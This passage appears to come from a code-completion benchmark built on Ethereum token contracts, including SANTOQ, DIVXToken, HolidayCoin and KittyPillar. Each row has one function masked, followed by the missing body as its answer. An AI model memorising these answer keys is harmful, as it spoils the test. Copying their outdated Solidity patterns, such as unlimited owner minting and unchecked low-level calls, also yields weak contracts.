balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | contract SANTOQ is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "SANTOQ";
string public constant symbol = "SNQ";
uint public constant decimals = 8;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 30000000e8;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 6500e8;
uint public target0drop = 100;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x45518A73F4659D292921e98f5A889947791A85cD;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 25000000e8;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
<FILL_FUNCTION>
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 10 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 15 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 5 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 10 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0e8;
if (Claimed[investor] == false && progress0drop <= target0drop ) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require( msg.value >= requestMinimum );
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if( now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require( msg.value >= requestMinimum );
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} |
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
| function Distribute(address _participant, uint _amount) onlyOwner internal | function Distribute(address _participant, uint _amount) onlyOwner internal |
38879 | DIVXToken | transfer | contract DIVXToken is StandardToken, SafeMath {
// metadata
string public constant name = "Divi Exchange Token";
string public constant symbol = "DIVX";
uint256 public constant decimals = 18;
string public version = "1.0";
// owner address
address public fundDeposit; // deposit address for ETH and DIVX for the project
// crowdsale parameters
bool public isPaused;
bool public isRedeeming;
uint256 public fundingStartBlock;
uint256 public firstXRChangeBlock;
uint256 public secondXRChangeBlock;
uint256 public thirdXRChangeBlock;
uint256 public fundingEndBlock;
// Since we have different exchange rates at different stages, we need to keep track
// of how much ether (in units of Wei) each address contributed in case that we need
// to issue a refund
mapping (address => uint256) private weiBalances;
// We need to keep track of how much ether (in units of Wei) has been contributed
uint256 public totalReceivedWei;
uint256 public constant privateExchangeRate = 1000; // 1000 DIVX tokens per 1 ETH
uint256 public constant firstExchangeRate = 650; // 650 DIVX tokens per 1 ETH
uint256 public constant secondExchangeRate = 575; // 575 DIVX tokens per 1 ETH
uint256 public constant thirdExchangeRate = 500; // 500 DIVX tokens per 1 ETH
uint256 public constant receivedWeiCap = 100 * (10**3) * 10**decimals;
uint256 public constant receivedWeiMin = 5 * (10**3) * 10**decimals;
// events
event LogCreate(address indexed _to, uint256 _value, uint256 _tokenValue);
event LogRefund(address indexed _to, uint256 _value, uint256 _tokenValue);
event LogRedeem(address indexed _to, uint256 _value, bytes32 _diviAddress);
// modifiers
modifier onlyOwner() {
require(msg.sender == fundDeposit);
_;
}
modifier isNotPaused() {
require(isPaused == false);
_;
}
// constructor
function DIVXToken(
address _fundDeposit,
uint256 _fundingStartBlock,
uint256 _firstXRChangeBlock,
uint256 _secondXRChangeBlock,
uint256 _thirdXRChangeBlock,
uint256 _fundingEndBlock) {
isPaused = false;
isRedeeming = false;
totalSupply = 0;
totalReceivedWei = 0;
fundDeposit = _fundDeposit;
fundingStartBlock = _fundingStartBlock;
firstXRChangeBlock = _firstXRChangeBlock;
secondXRChangeBlock = _secondXRChangeBlock;
thirdXRChangeBlock = _thirdXRChangeBlock;
fundingEndBlock = _fundingEndBlock;
}
// overriden methods
// Overridden method to check that the minimum was reached (no refund is possible
// after that, so transfer of tokens shouldn't be a problem)
function transfer(address _to, uint256 _value) returns (bool success) {<FILL_FUNCTION_BODY> }
// Overridden method to check that the minimum was reached (no refund is possible
// after that, so transfer of tokens shouldn't be a problem)
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(totalReceivedWei >= receivedWeiMin);
return super.transferFrom(_from, _to, _value);
}
/// @dev Accepts ether and creates new DIVX tokens.
function createTokens() payable external isNotPaused {
require(block.number >= fundingStartBlock);
require(block.number <= fundingEndBlock);
require(msg.value > 0);
// Check that this transaction wouldn't exceed the ETH cap
uint256 checkedReceivedWei = safeAdd(totalReceivedWei, msg.value);
require(checkedReceivedWei <= receivedWeiCap);
// Calculate how many tokens (in units of Wei) should be awarded
// on this transaction
uint256 tokens = safeMult(msg.value, getCurrentTokenPrice());
// Calculate how many tokens (in units of Wei) should be awarded to the project (20%)
uint256 projectTokens = safeDiv(tokens, 5);
// Increment the total received ETH
totalReceivedWei = checkedReceivedWei;
// Only update our accounting of how much ETH this contributor has sent us if
// we're already on the public sale (since private sale contributions are going
// to be used before the end of end of the sale period, they don't get a refund)
if (block.number >= firstXRChangeBlock) weiBalances[msg.sender] += msg.value;
// Increment the total supply of tokens and then deposit the tokens
// to the contributor
totalSupply = safeAdd(totalSupply, tokens);
balances[msg.sender] += tokens;
// Increment the total supply of tokens and then deposit the tokens
// to the project
totalSupply = safeAdd(totalSupply, projectTokens);
balances[fundDeposit] += projectTokens;
LogCreate(msg.sender, msg.value, tokens); // logs token creation
}
/// @dev Allows to transfer ether from the contract to the multisig wallet
function withdrawWei(uint256 _value) external onlyOwner isNotPaused {
require(_value <= this.balance);
// Allow withdrawal during the private sale, but after that, only allow
// withdrawal if we already met the minimum
require((block.number < firstXRChangeBlock) || (totalReceivedWei >= receivedWeiMin));
// send the eth to the project multisig wallet
fundDeposit.transfer(_value);
}
/// @dev Pauses the contract
function pause() external onlyOwner isNotPaused {
// Move the contract to Paused state
isPaused = true;
}
/// @dev Resume the contract
function resume() external onlyOwner {
// Move the contract out of the Paused state
isPaused = false;
}
/// @dev Starts the redeeming phase of the contract
function startRedeeming() external onlyOwner isNotPaused {
// Move the contract to Redeeming state
isRedeeming = true;
}
/// @dev Stops the redeeming phase of the contract
function stopRedeeming() external onlyOwner isNotPaused {
// Move the contract out of the Redeeming state
isRedeeming = false;
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign
function refund() external {
// prevents refund until sale period is over
require(block.number > fundingEndBlock);
// Refunds are only available if the minimum was not reached
require(totalReceivedWei < receivedWeiMin);
// Retrieve how much DIVX (in units of Wei) this account has
uint256 divxVal = balances[msg.sender];
require(divxVal > 0);
// Retrieve how much ETH (in units of Wei) this account contributed
uint256 weiVal = weiBalances[msg.sender];
require(weiVal > 0);
// Destroy this contributor's tokens and reduce the total supply
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, divxVal);
// Log this refund operation
LogRefund(msg.sender, weiVal, divxVal);
// Send the money back
msg.sender.transfer(weiVal);
}
/// @dev Redeems tokens and records the address that the sender created in the new blockchain
function redeem(bytes32 diviAddress) external {
// Only allow this function to be called when on the redeeming state
require(isRedeeming);
// Retrieve how much DIVX (in units of Wei) this account has
uint256 divxVal = balances[msg.sender];
require(divxVal > 0);
// Move the tokens of the caller to the project's address
assert(super.transfer(fundDeposit, divxVal));
// Log the redeeming of this tokens
LogRedeem(msg.sender, divxVal, diviAddress);
}
/// @dev Returns the current token price
function getCurrentTokenPrice() private constant returns (uint256 currentPrice) {
if (block.number < firstXRChangeBlock) {
return privateExchangeRate;
} else if (block.number < secondXRChangeBlock) {
return firstExchangeRate;
} else if (block.number < thirdXRChangeBlock) {
return secondExchangeRate;
} else {
return thirdExchangeRate;
}
}
} | contract DIVXToken is StandardToken, SafeMath {
// metadata
string public constant name = "Divi Exchange Token";
string public constant symbol = "DIVX";
uint256 public constant decimals = 18;
string public version = "1.0";
// owner address
address public fundDeposit; // deposit address for ETH and DIVX for the project
// crowdsale parameters
bool public isPaused;
bool public isRedeeming;
uint256 public fundingStartBlock;
uint256 public firstXRChangeBlock;
uint256 public secondXRChangeBlock;
uint256 public thirdXRChangeBlock;
uint256 public fundingEndBlock;
// Since we have different exchange rates at different stages, we need to keep track
// of how much ether (in units of Wei) each address contributed in case that we need
// to issue a refund
mapping (address => uint256) private weiBalances;
// We need to keep track of how much ether (in units of Wei) has been contributed
uint256 public totalReceivedWei;
uint256 public constant privateExchangeRate = 1000; // 1000 DIVX tokens per 1 ETH
uint256 public constant firstExchangeRate = 650; // 650 DIVX tokens per 1 ETH
uint256 public constant secondExchangeRate = 575; // 575 DIVX tokens per 1 ETH
uint256 public constant thirdExchangeRate = 500; // 500 DIVX tokens per 1 ETH
uint256 public constant receivedWeiCap = 100 * (10**3) * 10**decimals;
uint256 public constant receivedWeiMin = 5 * (10**3) * 10**decimals;
// events
event LogCreate(address indexed _to, uint256 _value, uint256 _tokenValue);
event LogRefund(address indexed _to, uint256 _value, uint256 _tokenValue);
event LogRedeem(address indexed _to, uint256 _value, bytes32 _diviAddress);
// modifiers
modifier onlyOwner() {
require(msg.sender == fundDeposit);
_;
}
modifier isNotPaused() {
require(isPaused == false);
_;
}
// constructor
function DIVXToken(
address _fundDeposit,
uint256 _fundingStartBlock,
uint256 _firstXRChangeBlock,
uint256 _secondXRChangeBlock,
uint256 _thirdXRChangeBlock,
uint256 _fundingEndBlock) {
isPaused = false;
isRedeeming = false;
totalSupply = 0;
totalReceivedWei = 0;
fundDeposit = _fundDeposit;
fundingStartBlock = _fundingStartBlock;
firstXRChangeBlock = _firstXRChangeBlock;
secondXRChangeBlock = _secondXRChangeBlock;
thirdXRChangeBlock = _thirdXRChangeBlock;
fundingEndBlock = _fundingEndBlock;
}
<FILL_FUNCTION>
// Overridden method to check that the minimum was reached (no refund is possible
// after that, so transfer of tokens shouldn't be a problem)
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
require(totalReceivedWei >= receivedWeiMin);
return super.transferFrom(_from, _to, _value);
}
/// @dev Accepts ether and creates new DIVX tokens.
function createTokens() payable external isNotPaused {
require(block.number >= fundingStartBlock);
require(block.number <= fundingEndBlock);
require(msg.value > 0);
// Check that this transaction wouldn't exceed the ETH cap
uint256 checkedReceivedWei = safeAdd(totalReceivedWei, msg.value);
require(checkedReceivedWei <= receivedWeiCap);
// Calculate how many tokens (in units of Wei) should be awarded
// on this transaction
uint256 tokens = safeMult(msg.value, getCurrentTokenPrice());
// Calculate how many tokens (in units of Wei) should be awarded to the project (20%)
uint256 projectTokens = safeDiv(tokens, 5);
// Increment the total received ETH
totalReceivedWei = checkedReceivedWei;
// Only update our accounting of how much ETH this contributor has sent us if
// we're already on the public sale (since private sale contributions are going
// to be used before the end of end of the sale period, they don't get a refund)
if (block.number >= firstXRChangeBlock) weiBalances[msg.sender] += msg.value;
// Increment the total supply of tokens and then deposit the tokens
// to the contributor
totalSupply = safeAdd(totalSupply, tokens);
balances[msg.sender] += tokens;
// Increment the total supply of tokens and then deposit the tokens
// to the project
totalSupply = safeAdd(totalSupply, projectTokens);
balances[fundDeposit] += projectTokens;
LogCreate(msg.sender, msg.value, tokens); // logs token creation
}
/// @dev Allows to transfer ether from the contract to the multisig wallet
function withdrawWei(uint256 _value) external onlyOwner isNotPaused {
require(_value <= this.balance);
// Allow withdrawal during the private sale, but after that, only allow
// withdrawal if we already met the minimum
require((block.number < firstXRChangeBlock) || (totalReceivedWei >= receivedWeiMin));
// send the eth to the project multisig wallet
fundDeposit.transfer(_value);
}
/// @dev Pauses the contract
function pause() external onlyOwner isNotPaused {
// Move the contract to Paused state
isPaused = true;
}
/// @dev Resume the contract
function resume() external onlyOwner {
// Move the contract out of the Paused state
isPaused = false;
}
/// @dev Starts the redeeming phase of the contract
function startRedeeming() external onlyOwner isNotPaused {
// Move the contract to Redeeming state
isRedeeming = true;
}
/// @dev Stops the redeeming phase of the contract
function stopRedeeming() external onlyOwner isNotPaused {
// Move the contract out of the Redeeming state
isRedeeming = false;
}
/// @dev Allows contributors to recover their ether in the case of a failed funding campaign
function refund() external {
// prevents refund until sale period is over
require(block.number > fundingEndBlock);
// Refunds are only available if the minimum was not reached
require(totalReceivedWei < receivedWeiMin);
// Retrieve how much DIVX (in units of Wei) this account has
uint256 divxVal = balances[msg.sender];
require(divxVal > 0);
// Retrieve how much ETH (in units of Wei) this account contributed
uint256 weiVal = weiBalances[msg.sender];
require(weiVal > 0);
// Destroy this contributor's tokens and reduce the total supply
balances[msg.sender] = 0;
totalSupply = safeSubtract(totalSupply, divxVal);
// Log this refund operation
LogRefund(msg.sender, weiVal, divxVal);
// Send the money back
msg.sender.transfer(weiVal);
}
/// @dev Redeems tokens and records the address that the sender created in the new blockchain
function redeem(bytes32 diviAddress) external {
// Only allow this function to be called when on the redeeming state
require(isRedeeming);
// Retrieve how much DIVX (in units of Wei) this account has
uint256 divxVal = balances[msg.sender];
require(divxVal > 0);
// Move the tokens of the caller to the project's address
assert(super.transfer(fundDeposit, divxVal));
// Log the redeeming of this tokens
LogRedeem(msg.sender, divxVal, diviAddress);
}
/// @dev Returns the current token price
function getCurrentTokenPrice() private constant returns (uint256 currentPrice) {
if (block.number < firstXRChangeBlock) {
return privateExchangeRate;
} else if (block.number < secondXRChangeBlock) {
return firstExchangeRate;
} else if (block.number < thirdXRChangeBlock) {
return secondExchangeRate;
} else {
return thirdExchangeRate;
}
}
} |
require(totalReceivedWei >= receivedWeiMin);
return super.transfer(_to, _value);
| function transfer(address _to, uint256 _value) returns (bool success) | // overriden methods
// Overridden method to check that the minimum was reached (no refund is possible
// after that, so transfer of tokens shouldn't be a problem)
function transfer(address _to, uint256 _value) returns (bool success) |
61616 | HolidayCoin | HolidayCoin | contract HolidayCoin is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function HolidayCoin() {<FILL_FUNCTION_BODY> }
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
if (balances[fundsWallet] < amount) {
return;
}
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | contract HolidayCoin is StandardToken { // CHANGE THIS. Update the contract name.
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; // Token Name
uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18
string public symbol; // An identifier: eg SBX, XPR etc..
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH?
uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here.
address public fundsWallet; <FILL_FUNCTION>
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
if (balances[fundsWallet] < amount) {
return;
}
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain
//Transfer ether to fundsWallet
fundsWallet.transfer(msg.value);
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} |
balances[msg.sender] = 520000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS)
totalSupply = 520000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS)
name = "Holiday Coin"; // Set the name for display purposes (CHANGE THIS)
decimals = 18; // Amount of decimals for display purposes (CHANGE THIS)
symbol = "HLC"; // Set the symbol for display purposes (CHANGE THIS)
unitsOneEthCanBuy = 10000; // Set the price of your token for the ICO (CHANGE THIS)
fundsWallet = msg.sender; // The owner of the contract gets ETH
| function HolidayCoin() | // Where should the raised ETH go?
// This is a constructor function
// which means the following function name has to match the contract name declared above
function HolidayCoin() |
50695 | Pausable | _unpause | contract Pausable {
event Pause(address account);
event Unpause(address account);
bool public paused = false;
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "Contract is paused");
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "Contract is not paused");
_;
}
/**
* @notice Called by the owner to pause, triggers stopped state
*/
function _pause() internal whenNotPaused {
paused = true;
/*solium-disable-next-line security/no-block-members*/
emit Pause(msg.sender);
}
/**
* @notice Called by the owner to unpause, returns to normal state
*/
function _unpause() internal whenPaused {<FILL_FUNCTION_BODY> }
} | contract Pausable {
event Pause(address account);
event Unpause(address account);
bool public paused = false;
/**
* @notice Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused, "Contract is paused");
_;
}
/**
* @notice Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused, "Contract is not paused");
_;
}
/**
* @notice Called by the owner to pause, triggers stopped state
*/
function _pause() internal whenNotPaused {
paused = true;
/*solium-disable-next-line security/no-block-members*/
emit Pause(msg.sender);
}
<FILL_FUNCTION>
} |
paused = false;
/*solium-disable-next-line security/no-block-members*/
emit Unpause(msg.sender);
| function _unpause() internal whenPaused | /**
* @notice Called by the owner to unpause, returns to normal state
*/
function _unpause() internal whenPaused |
15858 | BasicAccessControl | RemoveModerator | contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {<FILL_FUNCTION_BODY> }
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
} | contract BasicAccessControl {
address public owner;
// address[] public moderators;
uint16 public totalModerators = 0;
mapping (address => bool) public moderators;
bool public isMaintaining = true;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
require(msg.sender == owner || moderators[msg.sender] == true);
_;
}
modifier isActive {
require(!isMaintaining);
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function AddModerator(address _newModerator) onlyOwner public {
if (moderators[_newModerator] == false) {
moderators[_newModerator] = true;
totalModerators += 1;
}
}
<FILL_FUNCTION>
function UpdateMaintaining(bool _isMaintaining) onlyOwner public {
isMaintaining = _isMaintaining;
}
} |
if (moderators[_oldModerator] == true) {
moderators[_oldModerator] = false;
totalModerators -= 1;
}
| function RemoveModerator(address _oldModerator) onlyOwner public | function RemoveModerator(address _oldModerator) onlyOwner public |
41403 | EthereumTravelToken | EthereumTravelToken | contract EthereumTravelToken is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
address public AdvisorsAddress;
address public TeamAddress;
address public ReserveAddress;
TokenVest vestObject;
uint public TeamVestTimeLimit;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
*/
function EthereumTravelToken(
address wallet,
uint supply,
string nam,
string symb
) public {<FILL_FUNCTION_BODY> }
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
/**
*@dev internal method to add a vest in token memory
*/
function vestTokens(address ad, uint tkns, uint timelimit) internal {
vestObject = TokenVest({
vestAddress:ad,
vestTokensLimit:tkns,
vestTill:timelimit
});
listofVest.push(vestObject);
}
} | contract EthereumTravelToken is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
address public AdvisorsAddress;
address public TeamAddress;
address public ReserveAddress;
TokenVest vestObject;
uint public TeamVestTimeLimit;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
<FILL_FUNCTION>
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
/**
*@dev internal method to add a vest in token memory
*/
function vestTokens(address ad, uint tkns, uint timelimit) internal {
vestObject = TokenVest({
vestAddress:ad,
vestTokensLimit:tkns,
vestTill:timelimit
});
listofVest.push(vestObject);
}
} |
owner = wallet;
totalSupply = supply;
totalSupply = totalSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = nam;
symbol = symb;
balances[wallet] = totalSupply;
TeamAddress=0xACE8841DF22F7b5d112db5f5AE913c7adA3457aF;
AdvisorsAddress=0x49695C3cB19aA4A32F6f465b54CE62e337A07c7b;
ReserveAddress=0xec599e12B45BB77B65291C30911d9B2c3991aB3D;
TeamVestTimeLimit = now + 365 days;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
// transferring 18% of the tokens to team Address
transfer(TeamAddress, (totalSupply.mul(18)).div(100));
// transferring 1% of the tokens to advisors Address
transfer(AdvisorsAddress, (totalSupply.mul(1)).div(100));
// transferring 21% of the tokens to company Address
transfer(ReserveAddress, (totalSupply.mul(21)).div(100));
// vesting team address
vestTokens(TeamAddress,(totalSupply.mul(18)).div(100),TeamVestTimeLimit);
| function EthereumTravelToken(
address wallet,
uint supply,
string nam,
string symb
) public | /**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
*/
function EthereumTravelToken(
address wallet,
uint supply,
string nam,
string symb
) public |
13492 | KittyPillar | joinPillarWithEarnings | contract KittyPillar {
using SafeMath for uint256;
address public owner; //owner of this contract
address public kittyCoreAddress; //address of kittyCore
KittyCoreInterface private kittyCore; //kittycore reference
//**********************************************************************************
// Events
//**********************************************************************************
event PlayerJoined
(
address playerAddr,
uint256 pId,
uint256 timeStamp
);
event KittyJoined
(
address ownerAddr,
